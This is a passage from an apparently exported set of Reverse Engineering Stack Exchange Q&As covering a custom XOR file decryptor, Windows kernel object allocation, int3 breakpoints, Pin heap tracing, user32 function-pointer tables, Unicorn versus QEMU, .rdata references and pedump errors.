    I see, in the disassembled code, there is a class which decrypts a file. Two methods are used. Initializing the decryptor and reading a character. Since I am not good at \"reverse engineering\" and crypto algorithms (I don\u00b4t even know whether the used crypto is a know algorithm or an own one), I hoped you guys could help me out to figure out what happens exactly on those methods, so I can re implement that in c++.

    \n\n

    I am going to include the asm sections and the pseudo c code (which my decompiler has produced). Notice that these methods are part of a class. So I will give you some additional information of what Ive figured out so far. I hope you guys could help me.

    \n\n

    Decryptor init method:\n(edi + 0x100 + offset) seems to be a char array of size 128 byte, but I couldn\u00b4t figure out the rest (It seems to be worked with char array, but like mentioned, I dont have that much experience with RE)

    \n\n

    ASM Code:\nhttp://pastebin.com/LiM10Cr5

    \n\n

    Pseudo-C:\nhttp://pastebin.com/1ewfxAh1

    \n\n

    Decryptor decrypt next char method:

    \n\n

    (edi + 0x200) seems to be a char (byte) where the next char or something similar is stored.

    \n\n

    ASM Code:\nhttps://pastebin.com/aWp8LYua

    \n\n

    Pseudo-C:\nhttps://pastebin.com/u4w5yGYS

    \n\n

    If you need some more information, like mentioned, the application is fully compiled in debug mode, so its like a dream... I have all labels, all vtables, all information...

    \n\n

    I also have a read method, where these both methods are gonna called, but I guess I have reverse engineered that method properly (I hope so)...

    \n\n

    Thanks :)

    \n", "Title": "Reverse Engineering Crypto Methods", "Tags": "|cryptography|", "Answer": "

    The crypto definitely isn't a \"good\" one. Check what happens in your nextDecrypt function.

    \n\n

    The nextDecrypt function

    \n\n

    There's a variable at ebx+0x200 which gets loaded into edx. This variable gets incremented by one, then written back to ebx+0x200, and this variable is also used to be xored with some byte (low byte of ecx, i.e. cl) before that byte is returned. So we have an algorithm that, very trivially, xors every byte, with the value that's xored being incremented every time.

    \n\n

    There's a bit of special casing; the xor value avoids the value 0; if the value is 0xff, it's set to 1 instead of being incremented. Also, the value that's returned gets negated, and your decompiler made an error here; the ! operator should have been a ~ as that's what the not assembly instruction does. (Another reason why you should use decompiled C as a first glance, but always look at assembly code to understand what's really going on).

    \n\n

    Initialization

    \n\n

    The initialization function seems to be a bit more complicated, until you realize that there are 8 identical blocks in the do..while loop; probably an inner loop that the compiler unrolled. It seems to shuffle around the bytes a bit at [edx+0x100], and create an index map at [ecx]. The last thing it does seems to initialize the xor value from the nextDecrypt to 0x7f. But something seems to be wrong in the first part; your code accesses arg_4 but there is just an arg_0. And this arg_4 seems to influence the step with of the byte shuffler.

    \n\n

    This is about as far as it makes sense to statically analyze the code; what a reverser should do at this point is run the thing in a debugger, and single-step through those 2 functions, checking how the data buffers change, to verify those assumptions. For example, i'd verify the \"initializing the xor value to 0x7f\" assumption can't be checked from your code alone, but in a debugger, you could check if the addresses are indeed the same. Also, it would be interesting to know what some real-world values of these arguments are, and where they come from.

    \n\n

    Summary

    \n\n

    So, to sum it up: This seems to be a \"crypto\" mechanism the author invented, not a standard one; it's not a complicated one; and you'll need some dynamic analysis of the software to get the details right of what it does.

    \n\n

    Additional note

    \n\n

    In cases like this, it makes sense to give as much information as possible, for example, the name of the game you're hacking. For example, loading up the binary in IDA makes analysis much easier than plaintext sourcecode, and people might actually be able to run the code and test a few assumptions on it.

    \n" }, { "Id": "12516", "CreationDate": "2016-04-24T12:47:53.810", "Body": "

    how calculate size of memory that allocated from create specific windows object\ne.g.\nhow memory allocated when createsemaphore API is called?\nthere are any document that describe for all objects?

    \n", "Title": "how calculate size of memory that allocated from create specific windows object?", "Tags": "|debugging|windbg|driver|", "Answer": "

    The allocation for most executive objects (like semaphores) is done inside the ObCreateObject() function. As you can see in ObCreateObject()'s prototype, one of the parameters is ObjectSizeToAllocate.

    \n\n

    When a function like NtCreateSemaphore() is called, it calls ObCreateObject() with the size of the kernel object to be created (for example, sizeof(KSEMAPHORE)) as the value for ObjectSizeToAllocate.

    \n\n

    So the easiest way to answer your question is to set a breakpoint on ObCreateObject() and examine the value of ObjectSizeToAllocate when it's called to create your object of interest.

    \n" }, { "Id": "12518", "CreationDate": "2016-04-24T16:33:36.510", "Body": "

    I am debugging a 32-bit program on a 64-bit MS Windows 7 using IDA Pro 6.8 as seen in the image below:\"IDAproScreenshot\"

    \n\n

    The instruction highlighted in the trace window (upper-left part of screen-shot) is supposed to MOV a word from some memory address in the .text segment (at the address given by the EDX register), into the EBX register.

    \n\n

    EDX = 0x013D4021 and the bytes stored at this address are 50 53 51 52, shown in the HexView of IDA in the lower half of the screen-shot above.

    \n\n

    Therefore, after executing the highlighted instruction mov ebx, [edx] I was expecting that EBX = 0x52515350.

    \n\n

    However, as you can see in the Result column of the trace window this is not true because EBX = 0x525153CC.

    \n\n

    Can anyone explain why the least significant byte in EBX is equal to CC instead of 50? Is it a bug in IDA or is it caused by the OS?

    \n\n

    NOTE: I tried the same program with IDA Pro 6.9 and encountered the same behavior.

    \n\n

    UPDATE: If you also have this issue and still want to debug the program, use hardware breakpoints. Hardware breakpoints do not modify the code like in the example above. IDA Pro allows enabling hardware breakpoints: hex-rays.com/products/ida/support/idadoc/1407.shtml

    \n", "Title": "Unexpected memory value MOVed from text segment to register in Windows x86 32-bit program", "Tags": "|ida|windows|debugging|x86|memory|", "Answer": "

    CC is a single-byte encoding of int 3, which is the standard way of breaking to the debugger. In particular, debuggers often use it for break points and for single-stepping: they simply replace the first instruction byte with CC and wait for the interrupt. Then they write back the original instruction byte.

    \n\n

    The hexdump of the memory area around [edx] definitely looks like code, and the bytes loaded into ebx look like push opcodes. So it seems reasonable to suppose that either IDA is playing around with int 3 or someone else does... If your target program is aliasing memory then this could explain the whole confusion.

    \n" }, { "Id": "12524", "CreationDate": "2016-04-25T02:05:18.103", "Body": "

    I am using Pin for some execution monitoring tasks towards x64 ELF binary code.

    \n\n

    During the monitoring, for any memory write/read operation of the original code, I would like to record it as long as it refers the heap. However, given a memory address, I have no idea whether it refers the heap memory region or not.

    \n\n

    One possible solution I can come up with is that, before every memory operation, I acquire the runtime memory region information of the target process, and check whether the current memory address is within the heap region. This can be done by following the steps below inside the Pintool.

    \n\n
      \n
    1. acquire the process ID of monitored process (This step can use Pin API Pin_GetPid)
      2. \n
    2. read the process memory region information in /proc/XXX/maps
      3. \n
    3. find the heap memory region
      4. \n
    4. check whether the current address is within the heap region
      5. \n
    \n\n

    However, this is tedious and my test shows that this is extremely slow, as the size of memory heap can change during the runtime which means I need to go through the above steps everytime before memory operation.

    \n\n

    So I am wondering, does Pin has APIs to provide the heap memory region information? Or is there any solution more efficient that the above one?

    \n\n

    ===================== update ===============================

    \n\n

    \"enter

    \n", "Title": "How to get the runtime memory region information when instrumenting using Pin?", "Tags": "|dynamic-analysis|pintool|", "Answer": "

    As you're saying you're using ELF code, i assume you're running under Linux, or another unix-y system. And proc/self/maps (you don't have to getpid() and use /proc/XXX/maps, really) hints at Linux as well.

    \n\n

    One problem i see is the definition of heap - what about memory mapped regions, do they count as \"heap\" or not? Linux malloc uses mmap in some cases instead of expanding the heap, which is typically done by brk (which may itself be just a wrapper around mmap/mremap depending on your libc).

    \n\n

    If you want to trace everything that's in malloced memory, i'd just compare the address to the end of the code segment (but beware of dynamic libraries; or omit that comparison completely as code typically isn't read and can't be written anyway) and the current value of the stack pointer. If the address is below the stack pointer, assume heap.

    \n\n

    If you want to trace what's in the original, brk-managed heap only, read your memory map just once at the start, getting the heap start address, and monitor brk calls, adjusting the end address after each brk.

    \n\n

    On x64, \"below the stack pointer\" must be taken with a grain of salt. On 16- and 32-bit x86 processors, anything below the stack pointer can be clobbered by hardware interrupts at any time, so sp/esp are a barrier to what software can use. On 64 bit processors, however, the ABI guarantees that 128 bytes below the stack pointer aren't changed by interrupts, so the compiler is free to use them (and will do so in leaf functions). Which means, you really need to compare your address to esp-0x80 if you're dealing with x64 code.

    \n" }, { "Id": "12537", "CreationDate": "2016-04-27T01:28:18.723", "Body": "

    In the disassembly of user32.dll, I see tables of function pointers like the one below in .text section. It doesn't look like vftable or switch/case table. Can you please give any insight about what this table is for?

    \n\n
    .text:6BA87530 off_6BA87530    dd offset sub_6BAD4C1E  \n.text:6BA87534 dword_6BA87534  dd 0                    \n.text:6BA87538                 dd offset sub_6BA890C6\n.text:6BA8753C                 align 10h\n.text:6BA87540                 dd offset sub_6BAD4B0A\n.text:6BA87544                 align 8\n.text:6BA87548                 dd offset sub_6BAD4730\n.text:6BA8754C                 align 10h\n.text:6BA87550                 dd offset sub_6BA890C6\n.text:6BA87554                 align 8\n.text:6BA87558                 dd offset sub_6BA890C6\n.text:6BA8755C                 align 10h\n.text:6BA87560                 dd offset sub_6BA890C6\n.text:6BA87564                 align 8\n.text:6BA87568                 dd offset sub_6BACCCB6\n.text:6BA8756C                 align 10h\n.text:6BA87570                 dd offset sub_6BAD5EE1\n.text:6BA87574                 align 8\n.text:6BA87578                 dd offset sub_6BAE82EE\n.text:6BA8757C                 align 10h\n.text:6BA87580                 dd offset sub_6BA9D3D5\n.text:6BA87584                 align 8\n.text:6BA87588                 dd offset sub_6BAE2428\n.text:6BA8758C                 align 10h\n.text:6BA87590                 dd offset sub_6BAE83F1\n.text:6BA87594                 align 8\n.text:6BA87598                 dd offset sub_6BAA9760\n.text:6BA8759C                 align 10h\n.text:6BA875A0                 dd offset sub_6BA9F560\n.text:6BA875A4                 align 8\n.text:6BA875A8                 dd offset loc_6BA8DA5B\n.text:6BA875AC                 align 10h\n.text:6BA875B0                 dd offset sub_6BA890C6\n.text:6BA875B4                 align 8\n.text:6BA875B8                 dd offset sub_6BA87CA1\n.text:6BA875BC                 align 10h\n.text:6BA875C0                 dd offset sub_6BAD41C5\n.text:6BA875C4                 align 8\n.text:6BA875C8                 dd offset sub_6BA893E9\n.text:6BA875CC                 align 10h\n.text:6BA875D0                 dd offset sub_6BA9B419\n.text:6BA875D4                 align 8\n.text:6BA875D8                 dd offset sub_6BA87B11\n.text:6BA875DC                 align 10h\n.text:6BA875E0                 dd offset sub_6BAEFB8A\n.text:6BA875E4                 align 8\n.text:6BA875E8 off_6BA875E8    dd offset sub_6BAD4BFD  \n
    \n\n

    The start and end addresses (off_6BA87530, off_6BA875E8) are referenced by code snippets like

    \n\n
    .text:6BA8FFE8                 push    eax\n.text:6BA8FFE9                 push    offset off_6BA87530\n.text:6BA8FFEE                 push    eax\n.text:6BA8FFEF                 push    offset off_6BA875E8\n.text:6BA8FFF4                 call    ds:RtlInitializeNtUserPfn\n
    \n\n

    or

    \n\n
    .text:6BA9D84F                 mov     esi, ds:off_6BA87530[eax*8]\n.text:6BA9D856                 mov     [ebp+var_40], esi\n.text:6BA9D859                 mov     eax, ds:dword_6BA87534[eax*8]\n.text:6BA9D860                 mov     [ebp+var_3C], eax\n.text:6BA9D863                 jmp     loc_6BA87A7C \n
    \n\n

    Thanks.

    \n\n

    UPDATE\nAdding the code snippets of functions referred to by first two addresses: sub_6BAD4C1E, sub_6BA890C6

    \n\n

    \"enter

    \n\n

    \"enter

    \n", "Title": "Table of Function Pointers in .text section", "Tags": "|ida|disassembly|", "Answer": "

    RtlInitializeUserPfn rep movsds (memcpy()) those address to ntdll!_NtUserPfn (most of the addresses are Windowsproc buttonproc callbacks

    \n\n

    what windows version are you on iirc these functions weren't implemented until win 8 \nsee below

    \n\n

    0:000> u ntdll!NtdllDispatchDefWindowProc_W l1

    \n\n
    ntdll!NtdllDispatchDefWindowProc_W:\n77e039f4 ff25ac80e377    jmp     dword ptr [ntdll!NtUserPfn+0xac (77e380ac)]\n
    \n\n

    0:000> ln poi(77e380ac)\n ntdll!UninitUser32Proc ()

    \n\n

    0:000> uf ntdll!UninitUser32Proc

    \n\n
    ntdll!UninitUser32Proc:\n77e03aa4 6896a0da77      push    offset ntdll! ?? ::FNODOBFM::`string' (77daa096)\n77e03aa9 6a00            push    0\n77e03aab 6a00            push    0\n77e03aad e884dff7ff      call    ntdll!DbgPrintEx (77d81a36)\n77e03ab2 83c40c          add     esp,0Ch\n77e03ab5 cc              int     3\n77e03ab6 680d0000c0      push    0C000000Dh\n77e03abb 6aff            push    0FFFFFFFFh\n77e03abd e8062efaff      call    ntdll!NtTerminateProcess (77da68c8)\n77e03ac2 33c0            xor     eax,eax\n77e03ac4 c3              ret\n
    \n\n

    0:000> da 77daa096

    \n\n
    77daa096  \"User32 init not called\"\n
    \n\n

    windows 7 user32!DllInit routine fills the array itself

    \n\n
    user32!InitializeNtdllUserPfn:\n77d2d787 b86606d277      mov     eax,offset user32!ImeWndProcW (77d20666)\n77d2d78c a36096d777      mov     dword ptr [user32!gDefaultClasses+0x100 (77d79660)],eax\n77d2d791 a30091d777      mov     dword ptr [user32!g_pfnImeWndProcW (77d79100)],eax\n77d2d796 b9063fd677      mov     ecx,offset user32!EditWndProcW (77d63f06)\n77d2d79b 33c0            xor     eax,eax\n77d2d79d c7056495d7770449d377 mov dword ptr [user32!gDefaultClasses+0x4 (77d79564)],offset user32!ButtonWndProcW (77d34904)\n77d2d7a7 c7058895d7779de0d577 mov dword ptr [user32!gDefaultClasses+0x28 (77d79588)],offset user32!ComboBoxWndProcW (77d5e09d)\n77d2d7b1 c705ac95d777ae0dd477 mov dword ptr [user32!gDefaultClasses+0x4c (77d795ac)],offset user32!ListBoxWndProcW (77d40dae)\n77d2d7bb c705d095d777c15bd477 mov dword ptr [user32!gDefaultClasses+0x70 (77d795d0)],offset user32!DefDlgProcW (77d45bc1)\n77d2d7c5 890df495d777    mov     dword ptr [user32!gDefaultClasses+0x94 (77d795f4)],ecx\n77d2d7cb c7051896d777ae0dd477 mov dword ptr [user32!gDefaultClasses+0xb8 (77d79618)],offset user32!ListBoxWndProcW (77d40dae)\n77d2d7d5 c7053c96d777df14d477 mov dword ptr [user32!gDefaultClasses+0xdc (77d7963c)],offset user32!MDIClientWndProcW (77d414df)\n77d2d7df c7058496d7778b3ad377 mov dword ptr [user32!gDefaultClasses+0x124 (77d79684)],offset user32!StaticWndProcW (77d33a8b)\n77d2d7e9 c7055c97d7777d50d277 mov dword ptr [user32!gDefaultClasses+0x1fc (77d7975c)],offset user32!DefWindowProcW (77d2507d)\n77d2d7f3 c7053891d777f8b5d377 mov dword ptr [user32!g_pfnEditWndProcA (77d79138)],offset user32!EditWndProcA (77d3b5f8)\n77d2d7fd 890d2091d777    mov     dword ptr [user32!g_pfnEditWndProcW (77d79120)],ecx\n77d2d803 40              inc     eax\n77d2d804 c3              ret\n
    \n\n

    while some other user32.dll > win7 calls a forwarded import in ntdll

    \n\n
    user32!InitializeNtdllUserPfn:\n00000001`80022e98 4c8bdc          mov     r11,rsp\n00000001`80022e9b 4883ec38        sub     rsp,38h\n00000001`80022e9f 4983631000      and     qword ptr [r11+10h],0\n00000001`80022ea4 4983630800      and     qword ptr [r11+8],0\n00000001`80022ea9 4983631800      and     qword ptr [r11+18h],0\n00000001`80022eae 488d05eba50000  lea     rax,[user32!pfnClientWorker (00000001`8002d4a0)]\n00000001`80022eb5 bab8000000      mov     edx,0B8h\n00000001`80022eba 49c743f058000000 mov     qword ptr [r11-10h],58h\n00000001`80022ec2 4c8d0537a60000  lea     r8,[user32!pfnClientW (00000001`8002d500)]\n00000001`80022ec9 488d0df0a60000  lea     rcx,[user32!pfnClientA (00000001`8002d5c0)]\n00000001`80022ed0 448bca          mov     r9d,edx\n00000001`80022ed3 498943e8        mov     qword ptr [r11-18h],rax\n00000001`80022ed7 ff155b520800    call    qword ptr [user32!_imp_RtlInitializeNtUserPfn (00000001`800a8138)]\n
    \n\n

    with windbg you can retrieve all the wndprocs that are memcpied thus using some script like below

    \n\n
    .for(r $t0=0 ; @$t0 < (60+c0+c0) ; r $t0 = @$t0+8) { .printf \"%y %y\\n\" , user32!pfnClientWorker+@$t0 , poi(user32!pfnClientWorker +@$t0) }\n
    \n\n

    which would get you result like this (read with the disassembly posted above of a random(winblue) user32.dll that implements the forwarded import

    \n\n
    user32!pfnClientWorker (00000001`8002d4a0) user32!ButtonWndProcWorker (00000001`8001c760)\nuser32!pfnClientWorker+0x8 (00000001`8002d4a8) user32!ComboBoxWndProcWorker (00000001`80060c38)\nuser32!pfnClientWorker+0x10 (00000001`8002d4b0) user32!ListBoxWndProcWorker (00000001`80077fa0)\nuser32!pfnClientWorker+0x18 (00000001`8002d4b8) user32!DefDlgProcWorker (00000001`8001ebf0)\nuser32!pfnClientWorker+0x20 (00000001`8002d4c0) user32!EditWndProcWorker (00000001`80031354)\nuser32!pfnClientWorker+0x28 (00000001`8002d4c8) user32!ListBoxWndProcWorker (00000001`80077fa0)\nuser32!pfnClientWorker+0x30 (00000001`8002d4d0) user32!MDIClientWndProcWorker (00000001`80036400)\nuser32!pfnClientWorker+0x38 (00000001`8002d4d8) user32!StaticWndProcWorker (00000001`8001f0a0)\nuser32!pfnClientWorker+0x40 (00000001`8002d4e0) user32!ImeWndProcWorker (00000001`80008e14)\nuser32!pfnClientWorker+0x48 (00000001`8002d4e8) user32!DefWindowProcWorker (00000001`80008ef0)\nuser32!pfnClientWorker+0x50 (00000001`8002d4f0) user32!CtfHookProcWorker (00000001`80005d44)\nuser32!pfnClientWorker+0x58 (00000001`8002d4f8) 90909090`90909090\nuser32!pfnClientW (00000001`8002d500) user32!ScrollBarWndProcW (00000001`8005f6cc)\nuser32!pfnClientW+0x8 (00000001`8002d508) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x10 (00000001`8002d510) user32!MenuWndProcW (00000001`8005f574)\nuser32!pfnClientW+0x18 (00000001`8002d518) user32!DesktopWndProcW (00000001`8005f138)\nuser32!pfnClientW+0x20 (00000001`8002d520) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x28 (00000001`8002d528) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x30 (00000001`8002d530) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x38 (00000001`8002d538) user32!ButtonWndProcW (00000001`8001c6cc)\nuser32!pfnClientW+0x40 (00000001`8002d540) user32!ComboBoxWndProcW (00000001`80060ad8)\nuser32!pfnClientW+0x48 (00000001`8002d548) user32!ComboListBoxWndProcW (00000001`80077ed4)\nuser32!pfnClientW+0x50 (00000001`8002d550) user32!DefDlgProcW (00000001`8001eb7c)\nuser32!pfnClientW+0x58 (00000001`8002d558) user32!EditWndProcW (00000001`800312c4)\nuser32!pfnClientW+0x60 (00000001`8002d560) user32!ComboListBoxWndProcW (00000001`80077ed4)\nuser32!pfnClientW+0x68 (00000001`8002d568) user32!MDIClientWndProcW (00000001`8003634c)\nuser32!pfnClientW+0x70 (00000001`8002d570) user32!StaticWndProcW (00000001`8001f050)\nuser32!pfnClientW+0x78 (00000001`8002d578) user32!ImeWndProcW (00000001`80008da0)\nuser32!pfnClientW+0x80 (00000001`8002d580) user32!DefWindowProcW (00000001`80002d60)\nuser32!pfnClientW+0x88 (00000001`8002d588) user32!fnHkINLPCWPSTRUCTW (00000001`80003da0)\nuser32!pfnClientW+0x90 (00000001`8002d590) user32!fnHkINLPCWPRETSTRUCTW (00000001`80012c40)\nuser32!pfnClientW+0x98 (00000001`8002d598) user32!DispatchHookW (00000001`80003d20)\nuser32!pfnClientW+0xa0 (00000001`8002d5a0) user32!DispatchDefWindowProcW (00000001`8000ed34)\nuser32!pfnClientW+0xa8 (00000001`8002d5a8) user32!DispatchClientMessage (00000001`800038f0)\nuser32!pfnClientW+0xb0 (00000001`8002d5b0) user32!MDIActivateDlgProcA (00000001`80080100)\nuser32!pfnClientW+0xb8 (00000001`8002d5b8) 90909090`90909090\nuser32!pfnClientA (00000001`8002d5c0) user32!ScrollBarWndProcA (00000001`8005f6b0)\nuser32!pfnClientA+0x8 (00000001`8002d5c8) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x10 (00000001`8002d5d0) user32!MenuWndProcA (00000001`8005f558)\nuser32!pfnClientA+0x18 (00000001`8002d5d8) user32!DesktopWndProcA (00000001`8005f11c)\nuser32!pfnClientA+0x20 (00000001`8002d5e0) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x28 (00000001`8002d5e8) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x30 (00000001`8002d5f0) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x38 (00000001`8002d5f8) user32!ButtonWndProcA (00000001`8005c620)\nuser32!pfnClientA+0x40 (00000001`8002d600) user32!ComboBoxWndProcA (00000001`80060970)\nuser32!pfnClientA+0x48 (00000001`8002d608) user32!ComboListBoxWndProcA (00000001`80077e40)\nuser32!pfnClientA+0x50 (00000001`8002d610) user32!DefDlgProcA (00000001`8006a3d8)\nuser32!pfnClientA+0x58 (00000001`8002d618) user32!EditWndProcA (00000001`8006ec64)\nuser32!pfnClientA+0x60 (00000001`8002d620) user32!ComboListBoxWndProcA (00000001`80077e40)\nuser32!pfnClientA+0x68 (00000001`8002d628) user32!MDIClientWndProcA (00000001`80081450)\nuser32!pfnClientA+0x70 (00000001`8002d630) user32!StaticWndProcA (00000001`80086268)\nuser32!pfnClientA+0x78 (00000001`8002d638) user32!ImeWndProcA (00000001`8008dad0)\nuser32!pfnClientA+0x80 (00000001`8002d640) user32!DefWindowProcA (00000001`8000ad38)\nuser32!pfnClientA+0x88 (00000001`8002d648) user32!fnHkINLPCWPSTRUCTA (00000001`8008c850)\nuser32!pfnClientA+0x90 (00000001`8002d650) user32!fnHkINLPCWPRETSTRUCTA (00000001`8008c790)\nuser32!pfnClientA+0x98 (00000001`8002d658) user32!DispatchHookA (00000001`8008bea0)\nuser32!pfnClientA+0xa0 (00000001`8002d660) user32!DispatchDefWindowProcA (00000001`8008be84)\nuser32!pfnClientA+0xa8 (00000001`8002d668) user32!DispatchClientMessage (00000001`800038f0)\nuser32!pfnClientA+0xb0 (00000001`8002d670) user32!MDIActivateDlgProcA (00000001`80080100)\nuser32!`string' (00000001`8002d678) 4c4e4e49`576d6d49\n
    \n" }, { "Id": "12540", "CreationDate": "2016-04-27T11:13:20.223", "Body": "

    The Unicorn website lists some differences between Unicorn and QEMU, especially those differences "where Unicorn shines".

    \n

    They furthermore write:

    \n
    \n

    A notable difference between Unicorn and QEMU is that we only focus on emulating CPU operations, but do not handle other parts of computer machine like QEMU.

    \n

    [...] we stripped all the subsystems that do not involve in CPU emulation.

    \n
    \n

    I am trying to understand what this actually means, i.e. when to choose QEMU and when Unicorn. Especially, what are concrete example use cases (in the area of reverse engineering) in which Unicorn*) cannot be used, but QEMU can ?

    \n

    *) or any tools based on Unicorn such as usercorn

    \n", "Title": "Unicorn and QEMU: Example use cases to understand the differences", "Tags": "|dynamic-analysis|qemu|emulation|", "Answer": "

    What does \"(not) emulating hardware other than the CPU\" mean?

    \n\n

    This means that whenever the software being emulated accesses hardware, it won't work in Unicorn in the same way as on actual hardware.

    \n\n

    We have several questions about emulating firmware on QEMU. The general answer is that, when you try booting a firmware kernel in QEMU, that kernel will access some I/O ports, but in the emulated environment, those I/O ports won't react in the way they should. For example, an input bit that signals \"device ready\" will be stuck in one state, instead of toggling between true and false.

    \n\n

    To make your software work as intended, you need to emulate this hardware as well - for example, your emulator needs to know something like:

    \n\n
    \n

    Bit 3 of the input port at 0x124 is the \"ready\" bit, when it's set to 1, there's one byte of serial input waiting at port 0x125. Reading port 0x125 will reset the ready bit to 0, and it will stay in state 0 until the next byte arrives on the serial line.

    \n
    \n\n

    And if you want to emulate how a software reacts on some particular input on the serial interface, you'll have to build on that specification and make the emulator provide your input at these I/O ports.

    \n\n

    But of course, you need information about the hardware first, so this isn't very useful to reverse engineering. It may be useful to the hardware designer though to find some bugs that are difficult to reproduce or monitor on actual hardware.

    \n\n

    As a specific example, consider the A20 gate on 16/32 bit PCs. Indeed, the same instructions:

    \n\n
    mov ax,0ffffh\nmov es,ax\nmov ax,es:[01234h]\n
    \n\n

    May access different memory depending on some bits you wrote to the keyboard controller. You can't get this right in an emulator unless you emulate hardware as well.

    \n\n

    When is QEMU more useful?

    \n\n

    Mostly for not RE-related tasks.

    \n\n

    If you want to emulate an old MS DOS program, you'd need QEMU, just because those programs did so much hardware manipulation themselves as the OS lacked the APIs. (Of course, in this case DOSBox would probably be more suited than QEMU).

    \n\n

    Or, if you want to make an emulator for a Gameboy, C64, or just any other kind of vintage hardware, you need to simulate the hardware as well, so you'd need these QEMU features.

    \n\n

    When is Unicorn more useful?

    \n\n

    For RE tasks, you typically don't need hardware emulation, because you don't have access to hardware design documents anyway. So, an emulator that omits these parts of QEMU, and improves other parts, is probably more suited to RE than QEMU is. Especially the \"does not need an environment\" part can make stuff easier.

    \n\n

    As a concrete example, take one of those \"do my homework for me\" questions - this, and this. When you have an assumption what a function does, you may want to run it to check if some specific input produces the output you assume. With QEMU, you need to compile this to an ELF file, and set up an operating system to run your program; with Unicorn, it seems like you can run the snippet directly (of course you still have to assemble it, and need to initialize registers in a sensible way, but you don't need all the rest of the bloat).

    \n\n

    Or, another example, you have a program that deals with DRM protected data, and includes some functions to decrypt the DRM. If that program runs on ARM Android or I/OS, and you want to have your PC do the decryption, you can try loading the program into memory and tell your emulator \"start emulating at address 0x12345678\". It seems to be much easier to do this if you don't have to provide all the environment, and dependencies, that QEMU requires.

    \n" }, { "Id": "12546", "CreationDate": "2016-04-27T19:04:16.600", "Body": "

    While reverse engineering an executable, I came across specific strings of interest which where in the .rdata section:

    \n\n

    \"enter

    \n\n

    How are these constant strings used by the underlying assembly code? Are offsets to the relevant strings dynamically calculated during run time (because of ASLR) and used?

    \n", "Title": "How is .rdata used within the executable", "Tags": "|ida|executable|", "Answer": "

    The standard scheme for 32-bit x86 under Windows is that the compiler/linker inserts virtual addresses right into the code, which are calculated based on the preferred load address of the executable (usually 0x400000 for EXEn, and something like 0x10000000 for DLLs).

    \n\n

    If the executable can be loaded at its preferred address then everything can remain as is and the relocation tables do not get used; otherwise relocations are applied to all address values embedded in code and data (e.g. when there are address conflicts and under ASLR).

    \n\n

    However, when you are analysing an executable with a disassembler like IDA then the binary will usually get loaded at its preferred address, so that you can jump directly to (or through) the offsets contained in tables, and you can also search for the raw address bytes to find references that IDA might have missed.

    \n\n

    IDA also allows specifying a different load address, so that you can match an ASLR-based rip without further ado. For hacking an ASLR-loaded image you'd need to do the rebasing (relocation) yourself, after finding the actual load address.

    \n\n

    Of course, capable compilers like MS VC++ and Watcom allow all kinds of different addressing schemes to be used from high-level languages, like relative (based) offset addressing and so on. So the above is only a rough guideline.

    \n\n

    Table-based references pose an additional difficulty during analysis: IDA will usually be able to find a string's reference in the data (i.e. the table itself) but often it is not easy to find the code that references the table. Most of the individual table entries seem to hang un-referenced in the air. Often you can use the regular structure of such tables to scry their beginning, and usually you can find that the first entry is referenced from somewhere in the code.

    \n\n

    The address embedded in a table entry need not be the first item in an entry, though, so that the reference to the base of the table may be slightly off compared to the embedded address you're looking at. With optimising compilers it can get even trickier - the address embedded in the code might refer to the first address after the table, or in the middle of some record, or even several miles outside of the table.

    \n\n

    In any case IDA should be able to help you once you have determined the extent of the table and declared it as an array (usually by formatting the first entry as a record and then setting the record count). Once you have done that, IDA knows that all references to addresses covered by the table actually belong to that table in some way or other, and usually you can already see a nice xref link for you to click. If not then you can call up the cross references manually.

    \n\n

    Note: the setting under

    \n\n
    \n

    Options | General... [Cross-references] Cross-reference depth

    \n
    \n\n

    influences IDA's ability to spot xrefs that go somewhere inside data items instead of pointing at their beginning. Sometimes I increase the value to 1000, when I'm working with big structures...

    \n" }, { "Id": "12548", "CreationDate": "2016-04-27T21:12:44.653", "Body": "

    I would like to dump the .text section on MS Windows .exe PE files in Ubuntu 14.04.4.

    \n\n

    I install pedump, on my Ubuntu system using

    \n\n
    sudo apt-get install mono-utils\n
    \n\n

    When I tried running

    \n\n
    pedump code /full/path/prefix.exe\n
    \n\n

    I got the message

    \n\n
    Cannot open image  /full/path/prefix.exe\n
    \n\n

    When I tried

    \n\n
    pedump --verify error /full/path/prefix.exe\n
    \n\n

    I got

    \n\n
    Error: Invalid PE header machine value.\n
    \n\n

    With another file, I got the following

    \n\n
    pedump code /full/path/prefix2.exe\nCannot open image  /full/path/prefix2.exe\npedump --verify error /full/path/prefix2.exe\nError: Invalid section alignment 1000\n
    \n\n

    Would these problems be due to trying to read MS Windows files on a Ubuntu system? Is there a better tool I could use to dump the .text section of MS Windows PE files on a Ubuntu system?

    \n", "Title": "Error: Invalid PE header machine value with pedump", "Tags": "|linux|pe|", "Answer": "

    pedump from Mono utils is a software that does only work with .net assemblies. You can't use it to dump standard executables:

    \n\n
    $ pedump /software/Windows/PortableInstalled/NavPaneCustomizer/Windows\\ 7\\ Navigation\\ Pane\\ Customizer.exe |head\n\nCOFF Header:\n                    Machine: 0x014c\n                   Sections: 0x0003\n                 Time stamp: 0x4d63c52b\n    Pointer to Symbol Table: 0x00000000\n           Symbol Count: 0x00000000\n       Optional Header Size: 0x00e0\n        Characteristics: 0x0102\n   ....\n
    \n\n

    but

    \n\n
    $ pedump /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe \nCannot open image /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe\n$ ls -l /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe \n-rw-r--r-- 1 gbl users 1565696 Mai  9  2013 /software/Windows/PortableInstalled/wxHexEditor/wxHexEditor.exe\n
    \n\n

    (the ls output shows you it's not an access rights problem)

    \n\n

    There is a different software at https://github.com/zed-0xff/pedump that's named pedump as well, but these two have nothing to do with each other. You can proably use the online version at http://pedump.me/ if this is a once-only project, and you don't want to go through the hassle of getting a ruby environment working on your system.

    \n\n

    If you want to use a local program, objdump works fine even for Windows PE executables:

    \n\n
